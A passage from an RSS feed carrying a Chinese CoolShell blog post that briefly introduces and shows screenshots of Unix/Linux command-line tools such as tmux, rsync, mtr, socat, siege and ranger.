title=\"性能调优攻略\" href=\"https://coolshell.cn/articles/7490.html\" target=\"_blank\">性能调优攻略</a>》中提到过那三个xxstat工具）。</p>\n<p>官方网站：<a href=\"http://dag.wieers.com/rpm/packages/dstat/\" target=\"_blank\">http://dag.wieers.com/rpm/packages/dstat/</a></p>\n<p>你可以这样使用：</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">alias dstat=&#039;dstat -cdlmnpsy&#039;</code></p>\n<div class=\"align_right\">\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/dstat_screenshot.png\" alt=\"dstat screenshot\" width=\"400\" height=\"326\" /></p>\n<h4 class=\"caption_text\">slurm</h4>\n</div>\n<p>查看网络流量的一个工具</p>\n<p>官方网站：<em>  <a href=\"https://computing.llnl.gov/linux/slurm/\" target=\"_blank\">Simple Linux Utility for Resource Management</a></em></p>\n<p><span id=\"more-7829\"></span></p>\n<div class=\"align_right\">\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/slurm_screenshot.png\" alt=\"slurm screenshot\" width=\"400\" height=\"326\" /></p>\n<p class=\"caption_text\">\n</div>\n<h4>vim &amp; emacs</h4>\n<p>真正程序员的代码编辑器。</p>\n<div class=\"align_right\">\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/vim_screenshot.png\" alt=\"vim screenshot\" width=\"400\" height=\"326\" /></p>\n<p class=\"caption_text\">\n</div>\n<h4>screen, dtach, tmux, byobu</h4>\n<p>你是不是经常需要 SSH 或者 telent 远程登录到 Linux 服务器？你是不是经常为一些长时间运行的任务而头疼，比如系统备份、ftp 传输等等。通常情况下我们都是为每一个这样的任务开一个远程终端窗口，因为他们执行的时间太长了。必须等待它执行完毕，在此期间可不能关掉窗口或者断开连接，否则这个任务就会被杀掉，一切半途而废了。</p>\n<p><a href=\"http://www.gnu.org/software/screen/\" target=\"_blank\"><strong>Screen</strong></a>是一个可以在多个进程之间多路复用一个物理终端的窗口管理器。Screen中有会话的概念，用户可以在一个screen会话中创建多个screen窗口，在每一个screen窗口中就像操作一个真实的telnet/SSH连接窗口那样。请参看IBM DeveloperWorks的这篇文章《<a href=\"http://www.ibm.com/developerworks/cn/linux/l-cn-screen/\" target=\"_blank\">使用 screen 管理你的远程会话</a>》</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/gnu_screen_screenshot.png\" alt=\"gnu screen screenshot\" width=\"400\" height=\"326\" /></p>\n<p><a href=\"http://dtach.sourceforge.net/\" target=\"_blank\"><strong>dtach</strong> </a>是用来模拟screen的detach的功能的小工具，其可以让你随意地attach到各种会话上 。下图为dtach+dvtm的样子。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-7861\" title=\"dtach+dvtm\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/dtach+dvtm.png\" alt=\"\" width=\"500\" height=\"477\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/07/dtach+dvtm.png 500w, https://coolshell.cn/wp-content/uploads/2012/07/dtach+dvtm-300x286.png 300w\" sizes=\"(max-width: 500px) 100vw, 500px\" /></p>\n<p><strong><a title=\"http://tmux.sourceforge.net/\" href=\"http://tmux.sourceforge.net/\" rel=\"nofollow\">tmux</a></strong>是一个优秀的终端复用软件，类似<a title=\"http://www.gnu.org/software/screen/\" href=\"http://www.gnu.org/software/screen/\" rel=\"nofollow\">GNU Screen</a>，但来自于OpenBSD，采用BSD授权。使用它最直观的好处就是，通过一个终端登录远程主机并运行tmux后，在其中可以开启多个控制台而无需再“浪费”多余的终端来连接这台远程主机；当然其功能远不止于此。与screen相比的优点：可以横向和纵向分割窗口，且窗格可以自由移动和调整大小。可在多个缓冲区进行复制和粘贴，支持跨窗口搜索；非正常断线后不需重新detach；……  有人说——<strong>与tmux相比，screen简直弱爆了</strong>。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-7860\" title=\"tmux\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/tmux3.png\" alt=\"\" width=\"650\" height=\"404\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/07/tmux3.png 650w, https://coolshell.cn/wp-content/uploads/2012/07/tmux3-300x186.png 300w\" sizes=\"(max-width: 650px) 100vw, 650px\" /></p>\n<div class=\"align_right\">\n<p><a href=\"https://launchpad.net/byobu/\" target=\"_blank\"><strong>byobu</strong></a>是Ubuntu开发的，在Screen的基础上进行包装，使其更加易用的一个工具。最新的Byobu，已经是基于Tmux作为后端了。可通过“byobu-tmux”这个命令行前端来接受各种与tmux一模一样的参数来控制它。Byobu的细节做的非常好，效果图如下：<img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-7864\" title=\"byobu-tmux\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/byobu-tmux.jpg\" alt=\"\" width=\"650\" height=\"406\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/07/byobu-tmux.jpg 650w, https://coolshell.cn/wp-content/uploads/2012/07/byobu-tmux-300x187.jpg 300w\" sizes=\"(max-width: 650px) 100vw, 650px\" /></p>\n<p class=\"caption_text\">\n</div>\n<h4>multitail</h4>\n<p>MultiTail是个用来实现同时监控多个文档、类似tail命令的功能的软件。他和tail的区别就是他会在控制台中打开多个窗口，这样使同时监控多个日志文档成为可能。他还可以看log文件的统计，合并log文件，过滤log文件，分屏，……。</p>\n<p>官网：<a href=\"http://www.vanheusden.com/multitail/\">http://www.vanheusden.com/multitail/</a></p>\n<div class=\"align_right\">\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/multitail_screenshot.png\" alt=\"multitail screenshot\" width=\"400\" height=\"326\" /></p>\n<p class=\"caption_text\">\n</div>\n<h4>tpp</h4>\n<p>终端下的PPT，要是在某某大会上用这个演示PPT，就太TMD的Geek了。</p>\n<p>官网：<a href=\"http://www.ngolde.de/tpp.html\">http://www.ngolde.de/tpp.html</a></p>\n<div class=\"align_right\">\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/tpp_screenshot.png\" alt=\"tpp screenshot\" width=\"400\" height=\"326\" /></p>\n<p class=\"caption_text\">\n</div>\n<h4>xargs &amp; parallel</h4>\n<p>Executes tasks from input (even multithread).</p>\n<p>xargs 是一个比较古老的命令，有简单的并行功能，这个不说了。<span>对于</span><a href=\"http://www.gnu.org/software/parallel/\"><span>GNU parallel</span></a><span> ( </span><a href=\"http://savannah.gnu.org/projects/parallel\"><span>online manpage</span></a><span><span> )来说，它不仅能够处理本机上多执行绪，还能分散至远端电脑协助处理。</span><span>而使用GNU parallel前，要先确定本机有安装GNU parallel / ssh / rsync，远端电脑也要安装ssh。</span></span></p>\n<div class=\"align_right\">\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/xargs_screenshot.png\" alt=\"xargs screenshot\" width=\"400\" height=\"326\" /></p>\n<p class=\"caption_text\">\n</div>\n<h4>duplicity &amp; rsyncrypto</h4>\n<p><a href=\"http://duplicity.nongnu.org/\" target=\"_blank\">Duplicity</a>是使用rsync算法加密的高效率备份软件，Duplicity支持目录加密生产和格式上传到远程或本地文件服务器。</p>\n<p><a href=\"http://rsyncrypto.lingnu.com/index.php/Home_Page\" target=\"_blank\">rsyncrypto</a> 就是 rsync + encryption。对于rsync的算法可参看酷壳的<a title=\"rsync 的核心算法\" href=\"https://coolshell.cn/articles/7425.html\" target=\"_blank\">rsync核心算法</a>。</p>\n<p>Encrypting backup tools.</p>\n<div class=\"align_right\">\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/duplicity_screenshot.png\" alt=\"duplicity screenshot\" width=\"400\" height=\"326\" /></p>\n<p class=\"caption_text\">\n</div>\n<h4>nethack &amp; slash&#8217;em</h4>\n<p><a href=\"http://www.nethack.org/\" target=\"_blank\">NetHack</a>（<a href=\"http://zh.wikipedia.org/zh/NetHack\" target=\"_blank\">Wiki</a>），20年历史的古老电脑游戏。没有声音，没有漂亮的界面，不过这个游戏真的很有意思。网上有个家伙说：<strong>如果你一生只做一件事情，那么玩NetHack</strong>。这句话很惹眼，但也让人觉得这个游戏很复杂不容易上手。其实，这个游戏很虽然很复杂，却容易上手。虽然玩通关很难，但上手很容易。NetHack上有许多复杂的规则，&#8221;the DevTeam thinks of everything&#8221;（开发团队想到了所有的事情)。各种各样的怪物，各种各样的武器&#8230;.，有许多spoilers文件来说明其规则。除了每次开始随机生成的地图，每次玩游戏，你也都会碰到奇怪的事情: 因为喝了一种药水，变成了机器人;因为踢坏了商店的门被要求高价赔偿;你的狗为你偷来了商店的东西&#8230;.. 这有点象人生，你不能完全了解这个世界，但你仍然可以选择自己的面对方式。</p>\n<p>网上有许多文章所这是最好的电脑游戏或最好的电脑游戏之一。也许是因为它开放的源代码让人赞赏，古老的历史让人宽容，复杂的规则让人敬畏。虽然它不是当前流行的游戏，但它比任何一个当前流行的游戏都更有可能再经受20年的考验。</p>\n<p><a href=\"http://www.slashem.org\" target=\"_blank\">Slash&#8217;EM</a> 也是一个基于NetHack的经典游戏。</p>\n<div class=\"align_right\">\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/nethack_screenshot.png\" alt=\"nethack screenshot\" width=\"400\" height=\"326\" /></p>\n<p class=\"caption_text\">\n</div>\n<h4>lftp</h4>\n<p>利用<a href=\"http://lftp.yar.ru/\" target=\"_blank\">lftp</a>命令行ftp工具进行网站数据的增量备份，镜像，就像使用rsync一样。</p>\n<div class=\"align_right\">\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/lftp_screenshot.png\" alt=\"lftp screenshot\" width=\"400\" height=\"326\" /></p>\n<p class=\"caption_text\">\n</div>\n<h4>ack</h4>\n<p><a href=\"http://betterthangrep.com/\"><span>ack</span></a><span>是一个perl脚本，是grep的一个可选替换品。其可以对匹配字符有高亮显示。是为程序员专门设计的，默认递归搜索，省提供多种文件类型供选。</span></p>\n<div class=\"align_right\">\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/ack_screenshot.png\" alt=\"ack screenshot\" width=\"400\" height=\"326\" /></p>\n<p class=\"caption_text\">\n</div>\n<h4>calcurse &amp; remind + wyrd</h4>\n<p><a href=\"http://calcurse.org/\" target=\"_blank\">calcurse</a>是一个命令行下的日历和日程软件。<a href=\"http://www.roaringpenguin.com/products/remind\" target=\"_blank\">remind</a> + <a href=\"http://pessimization.com/software/wyrd/\" target=\"_blank\">wyrd</a>也很类似。关于日历，我不得不提一个<a title=\"Linux的cycle日历（你懂的）\" href=\"https://coolshell.cn/articles/3489.html\" target=\"_blank\">Linux的Cycle日历</a>，也是一个神器，呵呵。</p>\n<div class=\"align_right\">\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/calcurse_screenshot.png\" alt=\"calcurse screenshot\" width=\"400\" height=\"326\" /></p>\n<p class=\"caption_text\">\n</div>\n<h4>newsbeuter &amp; rsstail</h4>\n<p><a href=\"http://newsbeuter.org/\" target=\"_blank\">newsbeuter </a>和 <a href=\"http://www.vanheusden.com/rsstail/\" target=\"_blank\">rsstail</a> 是命令行下RSS的阅读工具。</p>\n<div class=\"align_right\">\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/newsbeuter_screenshot.png\" alt=\"newsbeuter screenshot\" width=\"400\" height=\"326\" /></p>\n<p class=\"caption_text\">\n</div>\n<h4>powertop</h4>\n<p><a title=\"做个环保主义的程序员\" href=\"https://coolshell.cn/articles/7186.html\" target=\"_blank\">做个环保的程序员</a>，看看自己的电脑里哪些程序费电。<a href=\"https://01.org/powertop/\" target=\"_blank\">PowerTOP</a> 是一个让 Intel 平台的笔记本电脑节省电源的 Linux 工具。此工具由 Intel 公司发布。它可以帮助用户找出那些耗电量大的程序，通过修复或者关闭那些应用程序或进程，从而为用户节省电源。</p>\n<div class=\"align_right\">\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/powertop_screenshot.png\" alt=\"powertop screenshot\" width=\"400\" height=\"326\" /></p>\n<p class=\"caption_text\">\n</div>\n</div>\n<div class=\"omega grid_6\">\n<h4>htop &amp; iotop</h4>\n<p><a href=\"http://htop.sourceforge.net/\" target=\"_blank\">htop</a> 和 <a href=\"http://guichaz.free.fr/iotop/\" target=\"_blank\">iotop</a>  用来查看进程，内存和IO负载。</p>\n<div class=\"align_right\">\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/htop_screenshot.png\" alt=\"htop screenshot\" width=\"400\" height=\"326\" /></p>\n</div>\n<h4>ttyrec &amp; ipbt</h4>\n<p><a href=\"http://0xcc.net/ttyrec/index.html.en\" target=\"_blank\">ttyrec</a> 是一个 tty 控制台录制程序，其所录制的数据文件可以使用与之配套的 ttyplay 播放。不管是你在 tty 中的各种操作，还是在 tty 中耳熟能详的软件，都可进行录制。</p>\n<p><a href=\"http://www.chiark.greenend.org.uk/~sgtatham/ipbt/\" target=\"_blank\">ipbt</a> 是一个用来回放 ttyrec 所录制的控制台输入过程的工具。</p>\n<p>与此类似的还有<a href=\"http://shelr.tv/\" target=\"_blank\">Shelr</a> 和 <a href=\"http://sourceforge.net/projects/termrec/\" target=\"_blank\">termrec </a></p>\n<div class=\"align_right\">\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/ipbt_screenshot.png\" alt=\"ipbt screenshot\" width=\"400\" height=\"326\" /></p>\n<p class=\"caption_text\">\n</div>\n<h4>rsync</h4>\n<p>通过SSH进行文件同步的经典工具（<a title=\"rsync 的核心算法\" href=\"https://coolshell.cn/articles/7425.html\" target=\"_blank\">核心算法</a>）</p>\n<div class=\"align_right\">\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/rsync_screenshot.png\" alt=\"rsync screenshot\" width=\"400\" height=\"326\" /></p>\n<p class=\"caption_text\">\n</div>\n<h4>mtr</h4>\n<p><a href=\"http://www.bitwizard.nl/mtr/\" target=\"_blank\">MTR</a> &#8211; traceroute 2.0，其是把 traceroute 和 ping 集成在一块的一个小工具 用于诊断网络。</p>\n<div class=\"align_right\">\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/mtr_screenshot.png\" alt=\"mtr screenshot\" width=\"400\" height=\"326\" /></p>\n<p class=\"caption_text\">\n</div>\n<h4>socat &amp; netpipes</h4>\n<p><a href=\"http://www.dest-unreach.org/socat/\" target=\"_blank\">socat</a>是一个多功能的网络工具，名字来由是” Socket CAT”，可以看作是netcat的N倍加强版。</p>\n<p><a href=\"http://web.purplefrog.com/~thoth/netpipes/\" target=\"_blank\">netpipes</a> 和socat一样，主要是用来在命令行来进行socket操作的命令，这样你就可以在Shell脚本下行进socket网络通讯了。</p>\n<div class=\"align_right\">\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/socat_screenshot.png\" alt=\"socat screenshot\" width=\"400\" height=\"326\" /></p>\n<p class=\"caption_text\">\n</div>\n<h4>iftop &amp; iptraf</h4>\n<p><a href=\"http://www.ex-parrot.com/~pdw/iftop/\" target=\"_blank\">iftop</a>和<a href=\"http://iptraf.seul.org/\" target=\"_blank\">iptraf</a>可以用来查看当前网络链接的一些流量情况。</p>\n<div class=\"align_right\">\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/iftop_screenshot.png\" alt=\"iftop screenshot\" width=\"400\" height=\"326\" /></p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-7867\" title=\"iptraf-tcpudp\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/iptraf-tcpudp.gif\" alt=\"\" width=\"562\" height=\"354\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/07/iptraf-tcpudp.gif 562w, https://coolshell.cn/wp-content/uploads/2012/07/iptraf-tcpudp-300x188.gif 300w\" sizes=\"(max-width: 562px) 100vw, 562px\" /></p>\n<p class=\"caption_text\">\n</div>\n<h4>siege &amp; tsung</h4>\n<p><a href=\"http://www.joedog.org/siege-home/\" target=\"_blank\">Siege</a>是一个压力测试和评测工具，设计用于WEB开发这评估应用在压力下的承受能力：可以根据配置对一个WEB站点进行多用户的并发访问，记录每个用户所有请求过程的相应时间，并在一定数量的并发访问下重复进行。</p>\n<p><a href=\"http://tsung.erlang-projects.org/\" target=\"_blank\">Tsung</a> 是一个压力测试工具，可以测试包括HTTP, WebDAV, PostgreSQL, MySQL, LDAP, and XMPP/Jabber等服务器。针对 HTTP 测试，Tsung 支持 HTTP 1.0/1.1 ，包含一个代理模式的会话记录、支持 GET、POST 和 PUT 以及 DELETE 方法，支持 Cookie 和基本的 WWW 认证，同时还支持 SSL。</p>\n<p>参看：<a title=\"十个免费的Web压力测试工具\" href=\"https://coolshell.cn/articles/2589.html\" target=\"_blank\">十个免费的Web压力测试工具</a></p>\n<div class=\"align_right\">\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/siege_screenshot.png\" alt=\"siege screenshot\" width=\"400\" height=\"326\" /></p>\n<p class=\"caption_text\">\n</div>\n<h4>ledger</h4>\n<p><a href=\"http://ledger-cli.org/\" target=\"_blank\">ledger</a> 一个命令行下记帐的小工具。</p>\n<div class=\"align_right\">\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/ledger_screenshot.png\" alt=\"ledger screenshot\" width=\"400\" height=\"326\" /></p>\n<p class=\"caption_text\">\n</div>\n<h4>taskwarrior</h4>\n<p><a href=\"http://taskwarrior.org/projects/show/taskwarrior\" target=\"_blank\">TaskWarrior</a> 是一个基于命令行的 TODO 列表管理工具。主要功能包括：标签、彩色表格输出、报表和图形、大量的命令、底层API、多用户文件锁等功能。</p>\n<div class=\"align_right\">\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/taskwarrior_screenshot.png\" alt=\"taskwarrior screenshot\" width=\"400\" height=\"326\" /></p>\n<p>下图是TaskWarrior 2.0的界面：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-7868\" title=\"TaskWarrior2.0\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/TaskWarrior2.0.png\" alt=\"\" width=\"395\" height=\"480\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/07/TaskWarrior2.0.png 395w, https://coolshell.cn/wp-content/uploads/2012/07/TaskWarrior2.0-246x300.png 246w\" sizes=\"(max-width: 395px) 100vw, 395px\" /></p>\n<p class=\"caption_text\">\n</div>\n<h4>curl</h4>\n<p><a href=\"http://curl.haxx.se/\" target=\"_blank\">cURL</a>是一个利用URL语法在命令行下工作的文件传输工具，1997年首次发行。它支持文件上传和下载，所以是综合传输工具，但按传统，习惯称cURL为下载工具。cURL还包含了用于程序开发的libcurl。cURL支援的通訊協定有FTP、FTPS、HTTP、HTTPS、TFTP、SFTP、Gopher、SCP、Telnet、DICT、FILE、LDAP、LDAPS、IMAP、POP3、SMTP和RTSP。</p>\n<div class=\"align_right\">\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/curl_screenshot.png\" alt=\"curl screenshot\" width=\"400\" height=\"326\" /></p>\n<p class=\"caption_text\">\n</div>\n<h4>rtorrent &amp; aria2</h4>\n<p><a href=\"http://libtorrent.rakshasa.no/\" target=\"_blank\">rTorrent</a> 是一个非常简洁、优秀、非常轻量的BT客户端. 它使用了 ncurses 库以 C++ 编写, 因此它完全基于文本并在终端中运行. 将 rTorrent 用在安装有 GNU Screen 和 Secure Shell 的低端系统上作为远程的 BT 客户端是非常理想的。</p>\n<p><a href=\"http://aria2.sourceforge.net/\">aria2</a> 是 Linux 下一个不错的高速下载工具。由于它具有分段下载引擎，所以支持从多个地址或者从一个地址的多个连接来下载同一个文件。这样自然就大大加快了文件的下载速度。aria2 也具有断点续传功能，这使你随时能够恢复已经中断的文件下载。除了支持一般的 http(s) 和 ftp 协议外，aria2 还支持 BitTorrent 协议。这意味着，你也可以使用 aria2 来下载 torrent 文件。</p>\n<div class=\"align_right\">\n<p class=\"caption_text\"> <img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/rtorrent_screenshot.png\" alt=\"rtorrent screenshot\" width=\"400\" height=\"326\" /></p>\n</div>\n<h4>ttytter &amp; earthquake</h4>\n<p><a href=\"http://www.floodgap.com/software/ttytter\" target=\"_blank\">TTYtter</a> 是一个Perl写的命令行上发Twitter的工具，可以进行所有其他平台客户端能进行的事情，当然，支持中文。脚本控、CLI控、终端控、Perl控的最愛。</p>\n<p><a href=\"https://github.com/jugyo/earthquake\" target=\"_blank\">Earthquake</a>也是一个命令行上的Twitter客户端。</p>\n<div class=\"align_right\">\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/ttytter_screenshot.png\" alt=\"ttytter screenshot\" width=\"400\" height=\"326\" /></p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-7870\" title=\"earthquake\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/earthquake.jpg\" alt=\"\" width=\"550\" height=\"314\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/07/earthquake.jpg 550w, https://coolshell.cn/wp-content/uploads/2012/07/earthquake-300x171.jpg 300w\" sizes=\"(max-width: 550px) 100vw, 550px\" /></p>\n<p class=\"caption_text\">\n</div>\n<h4>vifm &amp; ranger</h4>\n<p><a href=\"http://vifm.sourceforge.net/\" target=\"_blank\">Vifm</a> 基于ncurses的文件管理器，DOS风格，用键盘操作。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/vifm_screenshot.png\" alt=\"vifm screenshot\" width=\"400\" height=\"326\" /></p>\n<p><a href=\"http://savannah.nongnu.org/projects/ranger\" target=\"_blank\">Ranger</a>用 Python 完成，默认为使用 Vim 风格的按键绑定，比如 hjkl（上下左右），dd（剪切），yy（复制）等等。功能很全，扩展/可配置性也非常不错。类似MacOS X下Finder（文件管理器）的多列文件管理方式。支持多标签页。实时预览文本文件和目录。</p>\n<div class=\"align_right\">\n<p class=\"caption_text\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-7871\" title=\"ranger\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/ranger.png\" alt=\"\" width=\"668\" height=\"340\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/07/ranger.png 668w, https://coolshell.cn/wp-content/uploads/2012/07/ranger-300x152.png 300w\" sizes=\"(max-width: 668px) 100vw, 668px\" /></p>\n</div>\n<h4>cowsay &amp; sl</h4>\n<p><a href=\"http://www.nog.net/~tony/warez/cowsay.shtml\" target=\"_blank\">cowsay </a> 不说了，如下所示，哈哈哈。还有xcowsay，你可以自己搜一搜。</p>\n<div class=\"align_right\">\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/cowsay_screenshot.png\" alt=\"cowsay screenshot\" width=\"400\" height=\"326\" /></p>\n<p class=\"caption_text\"> sl是什么？ls？，呵呵，你会经常把ls 打成sl吗？如果是的话，这个东西可以让你娱乐一下，你会看到一辆火车呼啸而过~~，相当拉风。你可以使用sudo apt-get install sl 安装。</p>\n<p class=\"caption_text\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-7872\" title=\"sl\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/sl.jpg\" alt=\"\" width=\"500\" height=\"254\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/07/sl.jpg 500w, https://coolshell.cn/wp-content/uploads/2012/07/sl-300x152.jpg 300w\" sizes=\"(max-width: 500px) 100vw, 500px\" /></p>\n<p class=\"caption_text\">最后，再介绍一个命令中linuxlogo，你可以使用 sudo apt-get install linuxlogo来安装，然后，就可以使用linuxlogo -L<br />\n来看一下各种Linux的logo了</p>\n<p class=\"caption_text\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"linuxlogo\" src=\"https://coolshell.cn/wp-content/uploads/2012/07/linuxlogo.jpg\" alt=\"\" width=\"450\" height=\"371\" /></p>\n<p class=\"caption_text\">（全文完）</p>\n</div>\n</div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" alt=\"应该知道的Linux技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_title\">应该知道的Linux技巧</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" alt=\"Linux PID 1 和 Systemd\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_title\">Linux PID 1 和 Systemd</a></li><li ><a href=\"https://coolshell.cn/articles/12103.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/tux-fork-150x150.gif\" alt=\"vfork 挂掉的一个问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12103.html\" class=\"wp_rp_title\">vfork 挂掉的一个问题</a></li><li ><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/08/puzzle-150x150.png\" alt=\"谜题的答案和活动的心得体会\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_title\">谜题的答案和活动的心得体会</a></li><li ><a href=\"https://coolshell.cn/articles/9104.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/sed-superman-150x150.png\" alt=\"sed 简明教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9104.html\" class=\"wp_rp_title\">sed 简明教程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/7829.html\">28个Unix/Linux的命令行神器</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/7829.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>120</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>少即是极多</title>\n\t\t<link>https://coolshell.cn/articles/7771.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/7771.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Tim Shen]]></dc:creator>\n\t\t<pubDate>Thu, 05 Jul 2012 00:12:25 